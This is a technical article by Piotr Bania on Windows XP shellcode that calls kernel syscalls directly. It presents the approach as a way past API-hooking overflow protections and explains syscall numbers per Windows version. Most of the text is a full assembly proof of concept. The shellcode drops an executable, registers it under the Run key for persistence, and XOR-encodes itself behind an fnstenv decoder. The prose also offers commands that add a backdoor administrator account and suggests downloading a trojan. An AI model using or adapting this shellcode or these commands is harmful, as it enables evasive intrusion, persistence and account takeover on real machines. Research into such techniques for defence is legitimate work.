

Windows Syscall Shellcode

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Introduction

This article has been written to show that is possible to write shellcode for Windows operating systems that doesn't use standard API calls at all. Of course, as with every solution, this approach has both advantages and disadvantages. In this paper we will look at such shellcode and also introduce some example usage. IA-32 assembly knowledge is definitely required to fully understand this article.

All shellcode here has been tested on Windows XP SP1. Note that there are variations in the approach depending on the operating system and service pack level, so this will be discussed further as we progress.

Some background

Windows NT-based systems (NT/2000/XP/2003 and beyond) were designed to handle many subsystems, each having its own individual environment. For example, one of NT subsystems is Win32 (for normal Windows applications), another example would be POSIX (Unix) or OS/2. What does it mean? It means that Windows NT could actually run (of course with proper os add-ons) OS/2 and support most of it features. So what changes were made as the OS was developed? To support all of these potential subsystems, Microsoft made unified set of APIs which are called wrappers of each subsystem. In short, all subsystems have all the needed libraries for them to work. For example Win32 apps call the Win32 Subsystem APIs, which in fact call NT APIs (native APIs, or just natives). Natives don't require any subsystem to run.

From native API calls to syscalls

Is this theory true, that shellcode can be written without any standard API calls? Well, for some APIs it is for some it isn't. There are many APIs that do their job without calling native NT APIs and so on. To prove this, let's look at the GetCommandLineA API exported from KERNEL32.DLL.

```
.text:77E7E358 ; ----- S U B R O U T I N E -----
.text:77E7E358
.text:77E7E358
.text:77E7E358 ; LPSTR GetCommandLineA(void)
.text:77E7E358 public GetCommandLineA
.text:77E7E358 GetCommandLineA proc near
.text:77E7E358             mov eax, dword_77ED7614
.text:77E7E35D             retn
.text:77E7E35D GetCommandLineA endp
```

This API routine doesn't use any arbitrary calls. The only thing it does is the return the pointer to the program command line. But let's now discuss an example that is in line with our theory. What follows is part of the TerminateProcess API's disassembly.

```
.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
.text:77E616B8 public TerminateProcess
.text:77E616B8 TerminateProcess proc near             ; CODE XREF: ExitProcess+12 j
.text:77E616B8                                     ; sub_77EC3509+DA p
.text:77E616B8
.text:77E616B8 hProcess          =          dword ptr 4
```

```
.text:77E616B8 uExitCode      =          dword ptr 8
.text:77E616B8
.text:77E616B8                cmp [esp+hProcess], 0
.text:77E616BD                jz short loc_77E616D7
.text:77E616BF                push [esp+uExitCode]      ; 1st param: Exit code
.text:77E616C3                push [esp+4+hProcess]     ; 2nd param: Handle of process
.text:77E616C7                call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess
```

As you can see, the TerminateProcess API passes arguments and then executes NtTerminateProcess, exported by NTDLL.DLL. The NTDLL.DLL is the native API. In other words, the function which name starts with 'Nt' is called the native API (some of them are also ZwAPIs - just look what exports from the NTDLL library). Let's now look at NtTerminateProcess.

```
.text:77F5C448 public ZwTerminateProcess
.text:77F5C448 ZwTerminateProcess proc near      ; CODE XREF: sub_77F68F09+D1 p
.text:77F5C448                                ; RtlAssert2+B6 p
.text:77F5C448 mov eax, 101h                                ; syscall number: NtTerminateProcess
.text:77F5C44D mov edx, 7FFE0300h                    ; EDX = 7FFE0300h
.text:77F5C452 call edx                                ; call 7FFE0300h
.text:77F5C454 retn 8
.text:77F5C454 ZwTerminateProcess endp
```

This native API infact only puts the number of the syscall to eax and calls memory at 7FFE0300h, which is:

```
7FFE0300      8BD4      MOV EDX,ESP
7FFE0302      0F34      SYSENTER
7FFE0304      C3        RETN
```

And that shows how the story goes; EDX is now user stack pointer, EAX is the system call to execute. The SYSENTER instruction executes a fast call to a level 0 system routine, which does rest of the job.

Operating system differences

In Windows 2000 (and other NT based systems except XP and newer) no SYSENTER instruction is used. However, in Windows XP the "int 2eh" (our old way) was replaced by SYSENTER instruction. The following schema shows the syscall implementation for Windows 2000:

```
MOV  EAX, SyscallNumber      ; requested syscall number
LEA  EDX, [ESP+4]           ; EDX = params...
INT  2Eh                    ; throw the execution to the KM handler
RET  4*NUMBER_OF_PARAMS     ; return
```

We know already the Windows XP way, however here is the one I'm using in shellcode:

```
push  fn                    ; push syscall number
pop   eax                   ; EAX = syscall number
push  eax                   ; this one makes no diff
```

```

    call    b                ; put caller address on stack
b:   add    [esp],(offset r - offset b) ; normalize stack
    mov    edx, esp         ; EDX = stack
    db    0fh, 34h         ; SYSENTER instruction
r:   add    esp, (param*4)  ; normalize stack

```

It seems that SYSENTER was first introduced in the Intel Pentium II processors. This author is not certain but one can guess that SYSENTER is not supported by Athlon processors. To determine if the instruction is available on a particular processor, use the CPUID instruction together with a check for the SEP flag and some specific family/model/stepping checks. Here is the example how Intel does this type of checking:

```

IF (CPUID SEP bit is set)
  THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
    THEN
      SYSENTER/SYSEXIT_NOT_SUPPORTED
    FI;
  ELSE SYSENTER/SYSEXIT_SUPPORTED
FI;

```

But of course this is not the only difference in various Windows operating systems -- system call numbers also change between the various Windows versions, as the following table shows:

| Syscall symbol | | NtAddAtom | NtAdjustPrivilegesToken | NtAlertThread |
|---------------------|------|-----------|-------------------------|---------------|
| Windows NT | SP 3 | 0x3 | 0x5 | 0x7 |
| | SP 4 | 0x3 | 0x5 | 0x7 |
| | SP 5 | 0x3 | 0x5 | 0x7 |
| | SP 6 | 0x3 | 0x5 | 0x7 |
| Windows 2000 | SP 0 | 0x8 | 0xa | 0xc |
| | SP 1 | 0x8 | 0xa | 0xc |
| | SP 2 | 0x8 | 0xa | 0xc |
| | SP 3 | 0x8 | 0xa | 0xc |
| | SP 4 | 0x8 | 0xa | 0xc |
| Windows XP | SP 0 | 0x8 | 0xb | 0xd |
| | SP 1 | 0x8 | 0xb | 0xd |
| | SP 2 | 0x8 | 0xb | 0xd |
| Windows 2003 Server | SP 0 | 0x8 | 0xc | 0xe |
| | SP 1 | 0x8 | 0xc | 0xe |

The syscall number tables are available on the Internet. The reader is advised to look at the one from metasploit.com, however other sources may also be good.

Syscall shellcode advantages

There are several advantages when using this approach:

- Shellcode doesn't require the use of APIs, due to the fact that it doesn't have to locate API addresses (there is no kernel address finding/no export section parsing/import section parsing, and so on). Due to this "feature" it is able to bypass most of ring3 "buffer overflow prevention systems." Such protection mechanisms usually don't stop the buffer overflow attacks in itself, but instead they mainly hook the most used APIs and check the caller address. Here, such checking would be of no use.
- Since you are sending the requests directly to the kernel handler and you "jump over" all of those instructions from the Win32 Subsystem, the speed of execution highly increases (although in the era of modern processors, who truly cares about speed of shellcode?).

Syscall shellcode disadvantages

There are also several disadvantages to this approach:

- Size -- this is the main disadvantage. Because we are "jumping over" all of those subsystem wrappers, we need to code our own ones, and this increases the size of shellcode.
- Compability -- as has been written above, there exist various implementations from "int 2eh" to "sysenter," depending on the operating system version. Also, the system call number changes together with each Windows version (for more see the References section).

The ideas

The shellcode at the end of this article dumps a file and then writes an registry key. This action causes execution of the dropped file after the computer reboots. Many of you may ask me why we would not to execute the file directly without storing the registry key. Well, executing win32 application by syscalls is not a simple task -- don't think that NtCreateProcess will do the job; let's look at what CreateProcess API must do to execute an application:

1. Open the image file (.exe) to be executed inside the process.
2. Create the Windows executive process object.
3. Create the initial thread (stack, context, and Windows executive thread object).
4. Notify the Win32 subsystem of the new process so that it can set up for the new process and thread.
5. Start execution of the initial thread (unless the CREATE_SUSPENDED flag was specified).
6. In the context of the new process and thread, complete the initialization of the address space (such as load required DLLs) and begin execution of the program.

Therefore, it is clearly much easier and quicker to use the registry method. The following shellcode that concludes this article drops a sample MessageBox application (mainly, a PE struct which is big itself so the size increases) however there are plenty more solutions. Attacker can drop some script file (batch/vbs/others) and download a trojan/backdoor file from an ftp server, or just execute various commands such as: "net user /add piotr test123" & "net localgroup /add administrators piotr". This idea should help the reader with optimizations, now enjoy the proof of concept shellcode.

If you experience formatting issues with the code as listed below, an archive of this proof of concept is [available for download](#) from SecurityFocus.

```
The shellcode - Proof Of Concept
```

```
comment $
```

```
-----  
WinNT (XP) Syscall Shellcode - Proof Of Concept  
-----
```

```
Written by: Piotr Bania
```

http://pb.specialised.info

```

$

include      my_macro.inc
include      io.inc

; --- CONFIGURE HERE -----
; If you want to change something here, you need to update size entries written above.

FILE_PATH          equ      "?\C:\b.exe",0           ; dropper
SHELLCODE_DROP     equ      "D:\asm\shellcodeXXX.dat" ; where to drop
                                                           ; shellcode
REG_PATH           equ      "\Registry\Machine\Software\Microsoft\Windows
\CurrentVersion\Run",0

; -----

KEY_ALL_ACCESS     equ      0000f003fh             ; const value

_S_NtCreateFile    equ      000000025h           ; syscall numbers for
_S_NtWriteFile     equ      000000112h           ; Windows XP SP1
_S_NtClose         equ      000000019h
_S_NtCreateSection equ      000000032h
_S_NtCreateKey     equ      000000029h
_S_NtSetValueKey   equ      0000000f7h
_S_NtTerminateThread equ      000000102h
_S_NtTerminateProcess equ      000000101h

@syscall           macro fn, param                ; syscall implementation
                  local b, r                      ; for Windows XP
                  push fn
                  pop  eax
                  push eax ; makes no diff
                  call b
b: add [esp],(offset r - offset b)
   mov edx, esp
   db 0fh, 34h
r: add esp, (param*4)
   endm

path              struc                          ; some useful structs
p_path dw MAX_PATH dup (?) ; converted from C headers
ends

path

object_attributes struc
oa_length          dd      ?
oa_rootdir         dd      ?
oa_objectname      dd      ?
oa_attribz         dd      ?
oa_secdesc         dd      ?
oa_secqos          dd      ?
ends

object_attributes ends

```

```

pio_status_block      struc
                    psb_ntstatus      dd      ?
                    psb_info          dd      ?
pio_status_block      ends

unicode_string struc
                    us_length          dw      ?
                    us_pstring        dd      ?
unicode_string ends

        call crypt_and_dump_sh          ; xor and dump shellcode

sc_start      proc

        local  u_string      :unicode_string ; local variables
        local  fpath         :path           ; (stack based)
        local  rpath         :path
        local  obj_a         :object_attributes
        local  iob           :pio_status_block
        local  fHandle       :DWORD
        local  rHandle       :DWORD

        sub    ebp,500          ; allocate space on stack
        push   FILE_PATH_ULEN   ; set up unicode string
        pop    [u_string.us_length] ; length
        push   255             ; set up unicode max string
        pop    [u_string.us_length+2] ; length
        lea   edi,[fpath]      ; EDI = ptr to unicode file
        push  edi              ; path
        pop    [u_string.us_pstring] ; set up the unciode entry

        call   a_p1            ; put file path address
a_s:     db      FILE_PATH      ; on stack
        FILE_PATH_LEN        equ    $ - offset a_s
        FILE_PATH_ULEN       equ    18h

a_p1:    pop     esi            ; ESI = ptr to file path
        push   FILE_PATH_LEN   ; (ascii one)
        pop    ecx            ; ECX = FILE_PATH_LEN
        xor    eax,eax        ; EAX = 0

a_lo:    lodsb                ; begin ascii to unicode
        stosw                ; conversion do not forget
        loop   a_lo          ; to do sample align

        lea   edi,[obj_a]     ; EDI = object attributes st.
        lea   ebx,[u_string]  ; EBX = unicode string st.
        push  18h            ; sizeof(object attribs)

```

```

pop     [edi.oa_length]           ; store
push    ebx                       ; store the object name
pop     [edi.oa_objectname]
push    eax                       ; rootdir = NULL
pop     [edi.oa_rootdir]
push    eax                       ; secdesc = NULL
pop     [edi.oa_secdesc]
push    eax                       ; secqos = NULL
pop     [edi.oa_secqos]
push    40h                       ; attributes value = 40h
pop     [edi.oa_attribz]

```

```

lea     ecx,[iob]                 ; ECX = io status block
push    eax                       ; ealength = null
push    eax                       ; eabuffer = null
push    60h                       ; create options
push    05h                       ; create disposition
push    eax                       ; share access = NULL
push    80h                       ; file attributes
push    eax                       ; allocation size = NULL
push    ecx                       ; io status block
push    edi                       ; object attributes
push    0C0100080h               ; desired access
lea     esi,[fHandle]
push    esi                       ; (out) file handle
@syscall _S_NtCreateFile, 11     ; execute syscall

```

```

lea     ecx,[iob]                 ; ecx = io status block
push    eax                       ; key = null
push    eax                       ; byte offset = null
push    main_exploit_s           ; length of data
call    a3                       ; ptr to dropper body

```

```

s1:
main_exploit_s                    include msgbin.inc ; dopper data
                                equ     $ - offset s1

```

```

a3:
push    ecx                       ; io status block
push    eax                       ; apc context = null
push    eax                       ; apc routine = null
push    eax                       ; event = null
push    dword ptr [esi]           ; file handle
@syscall _S_NtWriteFile, 9       ; execute the syscall

```

```

mov     edx,edi                   ; edx = object attributes
lea     edi,[rpath]               ; edi = registry path
push    edi                       ; store the pointer
pop     [u_string.us_pstring]    ; into unicode struct
push    REG_PATH_ULEN            ; store new path len
pop     [u_string.us_length]

```

```

a_s1:
call    a_p2                     ; store the ascii reg path
db     REG_PATH                  ; pointer on stack
REG_PATH_LEN                      equ     $ - offset a_s1
REG_PATH_ULEN                     equ     7eh

```

```

a_p2:
pop     esi                       ; esi ptr to ascii reg path

```

```

    push    REG_PATH_LEN
    pop     ecx                                ; ECX = REG_PATH_LEN

a_lo1:  lodsb                                  ; little ascii 2 unicode
        stosw                                ; conversion
        loop a_lo1

    push   eax                                ; disposition = null
    push   eax                                ; create options = null
    push   eax                                ; class = null
    push   eax                                ; title index = null
    push   edx                                ; object attributes struct
    push   KEY_ALL_ACCESS                     ; desired access
    lea   esi,[rHandle]
    push   esi                                ; (out) handle
    @syscall _S_NtCreateKey,6

    lea   ebx,[fpath]                         ; EBX = file path
    lea   ecx,[fHandle]                       ; ECX = file handle
    push   eax
    pop    [ecx]                              ; nullify file handle

    push   FILE_PATH_ULEN - 8                 ; push the unicode len
                                                ; without 8 (no '\??\')
    push   ebx                                ; file path
    add    [esp],8                             ; without '\??'
    push   REG_SZ                             ; type
    push   eax                                ; title index = NULL
    push   ecx                                ; value name = NULL = default
    push   dword ptr [esi]                    ; key handle
    @syscall _S_NtSetValueKey,6                ; set they key value

    dec    eax
    push   eax                                ; exit status code
    push   eax                                ; process handle
                                                ; -1 current process
    @syscall _S_NtTerminateProcess,2          ; maybe you want
                                                ; TerminateThread instead?

ssc_size      equ $ -offset sc_start

sc_start      endp

exit:
    push 0
    @callx ExitProcess

crypt_and_dump_sh:                                ; this gonna' xor
                                                ; the shellcode and
    mov     edi,(offset sc_start - 1)           ; add the decryptor
    mov     ecx,ssc_size                       ; finally shellcode file
                                                ; will be dumped

xor_loop:

```



```

    inc     edi
    xor     byte ptr [edi],96h
    loop   xor_loop

    _fcreat SHELLCODE_DROP,ebx           ; some of my old crazy
    _fwrite ebx,sh_decryptor,sh_dec_size ; io macros
    _fwrite ebx,sc_start,ssc_size
    _fclose ebx

    jmp exit

sh_decryptor:                          ; that's how the decryptor
    xor ecx,ecx                          ; looks like
    mov cx,ssc_size

    fldz
sh_add:  fnstenv [esp-12]                ; fnstenv decoder
    pop edi
    add edi,sh_dec_add

sh_dec_loop:
    inc edi
    xor byte ptr [edi],96h
    loop sh_dec_loop

sh_dec_add    equ ($ - offset sh_add) + 1
sh_dec_size   equ $ - offset sh_decryptor

end start

```

Final words

The author hopes you have enjoyed the article. If you have any comments don't hesitate to contact him; also remember that code was developed purely for educational purposes only.

Further reading

1. ["Inside the Native API"](#) by Mark Russinovich
2. ["MSDN"](#) from Microsoft
3. [Interactive Win32 syscall page](#) from Metasploit

About the author

[Piotr Bania](#) is an independent IT Security/Anti-Virus Researcher from Poland with over five years of experience. He has discovered several highly critical security vulnerabilities in popular applications like RealPlayer. More information can be found on his website.

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